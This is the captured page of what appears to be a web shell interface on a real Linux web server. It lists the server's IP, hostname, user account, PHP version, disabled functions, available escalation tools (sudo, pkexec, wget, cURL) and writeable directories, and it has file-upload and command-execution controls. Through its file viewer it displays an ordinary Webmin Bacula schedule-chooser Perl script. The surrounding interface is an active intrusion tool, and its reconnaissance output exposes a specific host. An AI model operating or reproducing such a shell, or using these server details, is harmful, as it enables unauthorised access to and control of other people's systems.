Private
Server IP : 195.201.23.43  /  Your IP : 18.218.44.61
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/bacula-backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/bacula-backup//schedule_chooser.cgi
#!/usr/bin/perl
# Show a popup window for selecting a Bacula schedule

require './bacula-backup-lib.pl';
&ReadParse();
&popup_header($text{'chooser_title'});

# Parse into month, day and hour parts
if ($in{'schedule'}) {
	$sched = &parse_schedule($in{'schedule'});
	}
else {
	$sched = { 'months_all' => 1,
		   'weekdays_all' => 1,
		   'weekdaynums_all' => 1,
		   'days_all' => 1,
		   'hour' => '00',
		   'minute' => '00',
		 };
	}
ref($sched) || &error($sched);
print &ui_form_start("schedule_select.cgi", "post");
@tds = ( "width=30%", "width=70%" );

# Show months section
@months = map { [ $_-1, $text{'month_'.$_} ] } (1 .. 12);
print &ui_table_start($text{'chooser_monthsh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_months'},
	&ui_radio("months_all", $sched->{'months_all'} ? 1 : 0,
		  [ [ 1, $text{'chooser_all'} ],
		    [ 0, $text{'chooser_sel'} ] ])."<br>".
	&select_chooser("months", \@months, $sched->{'months'}),
	1, \@tds);
print &ui_table_end();

# Show days of month section
@days = map { [ $_, $_ ] } (1 .. 31);
print &ui_table_start($text{'chooser_daysh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_days'},
	&ui_radio("days_all", $sched->{'days_all'} ? 1 : 0,
		  [ [ 1, $text{'chooser_all'} ],
		    [ 0, $text{'chooser_sel'} ] ])."<br>".
	&select_chooser("days", \@days, $sched->{'days'}, 8),
	1, \@tds);
print &ui_table_end();

# Show days of week section
@weekdays = map { [ $_, $text{'day_'.$_} ] } (0 .. 6);
@weekdaynums = map { [ $_, $text{'weekdaynum_'.$_} ] } (1 .. 5);
print &ui_table_start($text{'chooser_weekdaysh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_weekdays'},
	&ui_radio("weekdays_all", $sched->{'weekdays_all'} ? 1 : 0,
		  [ [ 1, $text{'chooser_all'} ],
		    [ 0, $text{'chooser_sel'} ] ])."<br>".
	&select_chooser("weekdays", \@weekdays, $sched->{'weekdays'}),
	1, \@tds);
print &ui_table_row($text{'chooser_weekdaynums'},
	&ui_radio("weekdaynums_all", $sched->{'weekdaynums_all'} ? 1 : 0,
		  [ [ 1, $text{'chooser_all'} ],
		    [ 0, $text{'chooser_sel'} ] ])."<br>".
	&select_chooser("weekdaynums", \@weekdaynums,$sched->{'weekdaynums'},5),
	1, \@tds);
print &ui_table_end();

# Show time section
print &ui_table_start($text{'chooser_timeh'}, "width=100%", 2);
print &ui_table_row($text{'chooser_time'},
		    &ui_textbox("hour", $sched->{'hour'}, 3).":".
		    &ui_textbox("minute", $sched->{'minute'}, 3),
		    1, \@tds);
print &ui_table_end();

print &ui_form_end([ [ "ok", $text{'chooser_ok'} ] ]);

&popup_footer();

# select_chooser(name, &opts, &selected, [cols])
sub select_chooser
{
local ($name, $opts, $sel, $cols) = @_;
$cols ||= 4;
local %sel = map { $_, 1 } @$sel;
local $rv = "<table>\n";
for(my $i=0; $i<@$opts; $i++) {
	$rv .= "<tr>\n" if ($i%$cols == 0);
	$rv .= "<td>".&ui_checkbox($name, $opts->[$i]->[0], $opts->[$i]->[1],
				  $sel{$opts->[$i]->[0]})."</td>\n";
	$rv .= "</tr>\n" if ($i%$cols == $cols-1);
	}
$rv .= "</table>\n";
return $rv;
}
Private